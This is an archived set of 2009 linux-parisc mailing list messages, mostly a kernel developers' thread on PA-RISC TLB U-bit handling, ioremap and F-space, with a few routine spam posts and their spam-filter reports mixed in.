X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kathleen Graves" <vanessa_thompson@excite.it>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Restless sticking ability is true!
Date: Tue, 14 Jul 2009 11:29:41 -0700
Lines: 7
Approved: news@gmane.org
Message-ID: <001001ca04a8$ab90f0a0$bca48421@BOILAPFAIRMANahbxfd>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	format=flowed;
	charset="windows-1250";
	reply-type=original
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247593082 25588 80.91.229.12 (14 Jul 2009 17:38:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Jul 2009 17:38:02 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 14 19:37:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MQlwt-0005uW-7I
	for glpp-linux-parisc@gmane.org; Tue, 14 Jul 2009 19:37:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750719AbZGNRht (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Jul 2009 13:37:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750820AbZGNRht
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 14 Jul 2009 13:37:49 -0400
Original-Received: from [216.152.208.1] ([216.152.208.1]:8190 "HELO wergvan"
	rhost-flags-FAIL-FAIL-OK-FAIL) by vger.kernel.org with SMTP
	id S1750719AbZGNRhs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Jul 2009 13:37:48 -0400
Original-Received: from ahbxfd ([188.164.132.33])
	by wergvan (8.13.3/8.13.3) with SMTP id 200907141130065800;
	Tue, 14 Jul 2009 11:30:11 -0700
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 19.5 points;
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?216.152.208.1>]
 *  4.0 RCVD_IN_XBL RBL: Received via a relay in Spamhaus XBL
 *      [216.152.208.1 listed in sbl-xbl.spamhaus.org]
 *  2.0 URIBL_AB_SURBL Contains an URL listed in the AB SURBL blocklist
 *      [URIs: ryapudux.cn]
 *  0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: ryapudux.cn]
 *  2.0 URIBL_OB_SURBL Contains an URL listed in the OB SURBL blocklist
 *      [URIs: ryapudux.cn]
 *  4.0 URIBL_SC_SURBL Contains an URL listed in the SC SURBL blocklist
 *      [URIs: ryapudux.cn]
Xref: news.gmane.org gmane.linux.ports.parisc:1937 gmane.spam.detected:4413631
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1937>

AntiED supplier since 1991. http://gqeb.ryapudux.cn/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Wed, 15 Jul 2009 00:38:00 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20090715063800.GA26739@lackof.org>
References: <20090710155559.CFAA44FC4@hiauly1.hia.nrc.ca> <1247242701.3936.28.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1247639895 9218 80.91.229.12 (15 Jul 2009 06:38:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Jul 2009 06:38:15 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Grant Grundler <grundler@parisc-linux.org>,
	artem.alimarine@stromasys.com, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 15 08:38:07 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MQy7x-0002Ha-K3
	for glpp-linux-parisc@gmane.org; Wed, 15 Jul 2009 08:38:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751677AbZGOGiE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 Jul 2009 02:38:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752193AbZGOGiE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 15 Jul 2009 02:38:04 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:48822 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751677AbZGOGiD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 Jul 2009 02:38:03 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 65E2533E004D;
	Wed, 15 Jul 2009 00:38:02 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id eBQdBOoVa2bu; Wed, 15 Jul 2009 00:38:00 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id DDE7433E0051; Wed, 15 Jul 2009 00:38:00 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1247242701.3936.28.camel@mulgrave.site>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1938
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1938>

On Fri, Jul 10, 2009 at 11:18:21AM -0500, James Bottomley wrote:
> On Fri, 2009-07-10 at 11:55 -0400, John David Anglin wrote:
...
> > Your comment would explain why I
> > don't see this on c3750.  Could this affect PA8700?
> 
> In theory it would affect every box running a 64 bit kernel.

Yes, regarding corrupting bit-44 but not U-bit.

IIRC, only pa880 and pa8900 pay attention to the U-bit.
I thought all the previous CPUs ignored U-bit.

> We
> actually set PAGE_NO_CACHE on ioremaps(), so it's spreading out from the
> PCI device space.

Yes - but only ZX1 chipset (e.g. rp3440 and C8000) uses IO space that
is outside of F-space. F-space is hardwired to be uncachable by the CPU.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Wed, 15 Jul 2009 00:40:46 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20090715064046.GB26739@lackof.org>
References: <20090709225511.GE10979@lackof.org> <20090710001506.A2C43507E@hiauly1.hia.nrc.ca> <20090710153620.GB28778@lackof.org> <4A576837.70501@stromasys.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1247640076 9655 80.91.229.12 (15 Jul 2009 06:41:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Jul 2009 06:41:16 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Artem Alimarine <artem.alimarine@stromasys.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 15 08:41:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MQyAu-0004bz-1V
	for glpp-linux-parisc@gmane.org; Wed, 15 Jul 2009 08:41:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752184AbZGOGks (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 Jul 2009 02:40:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752328AbZGOGks
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 15 Jul 2009 02:40:48 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:48854 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752184AbZGOGkr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 Jul 2009 02:40:47 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id B43D533E005C;
	Wed, 15 Jul 2009 00:40:47 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id AGUkNhHd9IWw; Wed, 15 Jul 2009 00:40:46 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id B9A3233E0051; Wed, 15 Jul 2009 00:40:46 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4A576837.70501@stromasys.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1939
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1939>

On Fri, Jul 10, 2009 at 06:11:35PM +0200, Artem Alimarine wrote:
> Hi Grant,
>
> Bit 44 falls into the access_id area. So, access id get corrupted. As  
> far as I understand we should get interrupt 18 (access check trap) on  
> such TLB  entries. However we do not. The bug can go unnoticed when the  
> access id is smaller than 31 bits. The PA2.0 manual says in the IDTLBT  
> description: If smaller than 31-bit access IDs are implemented, only the  
> appropriate number of the
> rightmost bits of GR[r]{32..62} are stored in the TLB. Obviously, bit 44  
> is not among the stored bits.

Ok - thanks for looking that up. CPU specific ERS would contain the
details that describe access ID implementations.

> Actually, I have no idea on how many bits are used by the hardware.  
> Myself I have rp2470.

Yeah, that's Astro/Elroy and not ZX1. So should not be affected
by the U-bit being mis-set.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Wed, 15 Jul 2009 08:41:30 -0400
Lines: 52
Approved: news@gmane.org
Message-ID: <1247661690.4236.10.camel@mulgrave.site>
References: <20090710155559.CFAA44FC4@hiauly1.hia.nrc.ca>
	 <1247242701.3936.28.camel@mulgrave.site>
	 <20090715063800.GA26739@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247669569 3144 80.91.229.12 (15 Jul 2009 14:52:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Jul 2009 14:52:49 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	artem.alimarine@stromasys.com, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 15 16:52:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MR5qb-0000I6-4j
	for glpp-linux-parisc@gmane.org; Wed, 15 Jul 2009 16:52:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753100AbZGOOwj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 Jul 2009 10:52:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753957AbZGOOwj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 15 Jul 2009 10:52:39 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:55434 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753100AbZGOOwi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 Jul 2009 10:52:38 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 82F8B8EE104;
	Wed, 15 Jul 2009 07:52:38 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id dUd9SIO5q10n; Wed, 15 Jul 2009 07:52:38 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CF8BA8EE0F4;
	Wed, 15 Jul 2009 07:52:37 -0700 (PDT)
In-Reply-To: <20090715063800.GA26739@lackof.org>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1940
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1940>

On Wed, 2009-07-15 at 00:38 -0600, Grant Grundler wrote:
> On Fri, Jul 10, 2009 at 11:18:21AM -0500, James Bottomley wrote:
> > On Fri, 2009-07-10 at 11:55 -0400, John David Anglin wrote:
> ...
> > > Your comment would explain why I
> > > don't see this on c3750.  Could this affect PA8700?
> > 
> > In theory it would affect every box running a 64 bit kernel.
> 
> Yes, regarding corrupting bit-44 but not U-bit.
> 
> IIRC, only pa880 and pa8900 pay attention to the U-bit.
> I thought all the previous CPUs ignored U-bit.

Um, no, almost all pa chips use it ... it's the way we make coherent
memory on the very old 710 and similar systems: use an ordinary kmalloc
and turn off caching in the map.  The 715 class systems with the oldest
pa chips don't respect the U bit ... these are the ones we have to pull
the driver cache flushing tricks on to get them working.

We also use the U bit for ioremaps.

> > We
> > actually set PAGE_NO_CACHE on ioremaps(), so it's spreading out from the
> > PCI device space.
> 
> Yes - but only ZX1 chipset (e.g. rp3440 and C8000) uses IO space that
> is outside of F-space. F-space is hardwired to be uncachable by the CPU.

OK, so we don't really use the concept of F-Space in the linux kernel
virtual memory map on parisc linux.  What we do is map the whole of
memory into the virtual address space, but none of the I/O space.  the
readX/writeX macros actually go via absolute accesses.  Because the
kernel virtual addresses are offset mapped from the absolute addresses,
we do get a hole in the virtual map corresponding to F-Space (simply
because there's no accessible memory there) but we're actually able to
fill that hole later with virtual mappings if we choose.  The net result
is that I/O devices aren't mapped into the kernel at all until we call
ioremap.  If a device uses readX/writeX only, it never actually gets an
appearance in our virtual space because we simply use absolute accesses
to get the data to and from the device.  If it really needs a remapped
area, we use ioremap, then it does appear in our virtual map, and we set
the U bit on the mapping.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Wed, 15 Jul 2009 09:00:18 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <20090715150018.GO24310@parisc-linux.org>
References: <20090710155559.CFAA44FC4@hiauly1.hia.nrc.ca> <1247242701.3936.28.camel@mulgrave.site> <20090715063800.GA26739@lackof.org> <1247661690.4236.10.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1247670033 4871 80.91.229.12 (15 Jul 2009 15:00:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Jul 2009 15:00:33 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	artem.alimarine@stromasys.com, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 15 17:00:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MR5y2-00043W-E6
	for glpp-linux-parisc@gmane.org; Wed, 15 Jul 2009 17:00:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755198AbZGOPAU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 Jul 2009 11:00:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754893AbZGOPAU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 15 Jul 2009 11:00:20 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:55485 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755198AbZGOPAT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 Jul 2009 11:00:19 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 8D40649400D; Wed, 15 Jul 2009 09:00:18 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1247661690.4236.10.camel@mulgrave.site>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1941
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1941>

On Wed, Jul 15, 2009 at 08:41:30AM -0400, James Bottomley wrote:
> On Wed, 2009-07-15 at 00:38 -0600, Grant Grundler wrote:
> > IIRC, only pa880 and pa8900 pay attention to the U-bit.
> > I thought all the previous CPUs ignored U-bit.
> 
> Um, no, almost all pa chips use it ... it's the way we make coherent
> memory on the very old 710 and similar systems: use an ordinary kmalloc
> and turn off caching in the map.  The 715 class systems with the oldest
> pa chips don't respect the U bit ... these are the ones we have to pull
> the driver cache flushing tricks on to get them working.

Even the 715-class systems respect the U bit.  The problem is that
the memory controller in use on those platforms cannot cope with
sub-cacheline-size accesses to memory.  So if we were to set the U bit
on memory, we would crash.

> > Yes - but only ZX1 chipset (e.g. rp3440 and C8000) uses IO space that
> > is outside of F-space. F-space is hardwired to be uncachable by the CPU.
> 
> OK, so we don't really use the concept of F-Space in the linux kernel
> virtual memory map on parisc linux.  What we do is map the whole of
> memory into the virtual address space, but none of the I/O space.  the
> readX/writeX macros actually go via absolute accesses.  Because the

Uhm, no.  The gsc_read/writeX macros go via absolute accesses.
__raw_read/writeX go via ioremapped addresses, as do the more common
readX/writeX.

> kernel virtual addresses are offset mapped from the absolute addresses,
> we do get a hole in the virtual map corresponding to F-Space (simply
> because there's no accessible memory there) but we're actually able to
> fill that hole later with virtual mappings if we choose.  The net result
> is that I/O devices aren't mapped into the kernel at all until we call
> ioremap.  If a device uses readX/writeX only, it never actually gets an
> appearance in our virtual space because we simply use absolute accesses
> to get the data to and from the device.  If it really needs a remapped
> area, we use ioremap, then it does appear in our virtual map, and we set
> the U bit on the mapping.

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rudolf Mcghee" <dr.raiden@paris.otis.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: For sure, you will feel more pleasure after of a short course of enhancing.
Date: Wed, 15 Jul 2009 13:18:12 -0600
Lines: 7
Approved: news@gmane.org
Message-ID: <20090715131812.5040305@paris.otis.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247682592 14752 80.91.229.12 (15 Jul 2009 18:29:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Jul 2009 18:29:52 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 15 20:29:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MR9Ea-0000Ez-DY
	for glpp-linux-parisc@gmane.org; Wed, 15 Jul 2009 20:29:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755198AbZGOS3i (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 Jul 2009 14:29:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755654AbZGOS3i
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 15 Jul 2009 14:29:38 -0400
Original-Received: from dsl-201-155-90-165-sta.prod-empresarial.com.mx ([201.155.90.165]:3796
	"HELO dsl-201-155-90-165-sta.prod-empresarial.com.mx"
	rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org with SMTP
	id S1755198AbZGOS3i (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 Jul 2009 14:29:38 -0400
Original-Received: from jin ([102.63.213.113])
	by dsl-201-155-90-165-sta.prod-empresarial.com.mx (8.13.2/8.13.2) with SMTP id 200907151321045077;
	Wed, 15 Jul 2009 13:21:57 -0600
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 15.5 points;
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?201.155.90.165>]
 *  2.0 URIBL_AB_SURBL Contains an URL listed in the AB SURBL blocklist
 *      [URIs: ryapudux.cn]
 *  0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: ryapudux.cn]
 *  2.0 URIBL_OB_SURBL Contains an URL listed in the OB SURBL blocklist
 *      [URIs: ryapudux.cn]
 *  4.0 URIBL_SC_SURBL Contains an URL listed in the SC SURBL blocklist
 *      [URIs: ryapudux.cn]
Xref: news.gmane.org gmane.linux.ports.parisc:1942 gmane.spam.detected:4414059
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1942>

Cures fast and effective! http://qjlxe.ryapudux.cn/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Leonard Garcia" <camberwell@lgs.de>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Loose kilos easily.
Date: Thu, 16 Jul 2009 09:15:32 +0530
Lines: 7
Approved: news@gmane.org
Message-ID: <20090716091532.8000705@lgs.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247716018 31930 80.91.229.12 (16 Jul 2009 03:46:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Jul 2009 03:46:58 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 16 05:46:48 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MRHvj-0007FB-NR
	for glpp-linux-parisc@gmane.org; Thu, 16 Jul 2009 05:46:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757345AbZGPDqq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 Jul 2009 23:46:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757352AbZGPDqq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 15 Jul 2009 23:46:46 -0400
Original-Received: from [123.238.139.222] ([123.238.139.222]:1815 "HELO wergvan"
	rhost-flags-FAIL-FAIL-OK-FAIL) by vger.kernel.org with SMTP
	id S1757345AbZGPDqp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 Jul 2009 23:46:45 -0400
Original-Received: from ftwca ([39.119.185.142])
	by wergvan (8.13.2/8.13.2) with SMTP id 200907160916039688;
	Thu, 16 Jul 2009 09:16:08 +0530
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 12.5 points;
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  2.0 URIBL_AB_SURBL Contains an URL listed in the AB SURBL blocklist
 *      [URIs: djojoyih.cn]
 *  0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: djojoyih.cn]
 *  2.0 URIBL_OB_SURBL Contains an URL listed in the OB SURBL blocklist
 *      [URIs: djojoyih.cn]
 *  4.0 URIBL_SC_SURBL Contains an URL listed in the SC SURBL blocklist
 *      [URIs: djojoyih.cn]
Xref: news.gmane.org gmane.linux.ports.parisc:1943 gmane.spam.detected:4414163
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1943>

New xxx experinece! http://qsgf.djojoyih.cn/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH 3/8] parisc: implement dma_mmap_coherent()
Date: Fri, 17 Jul 2009 16:13:23 +0200
Lines: 63
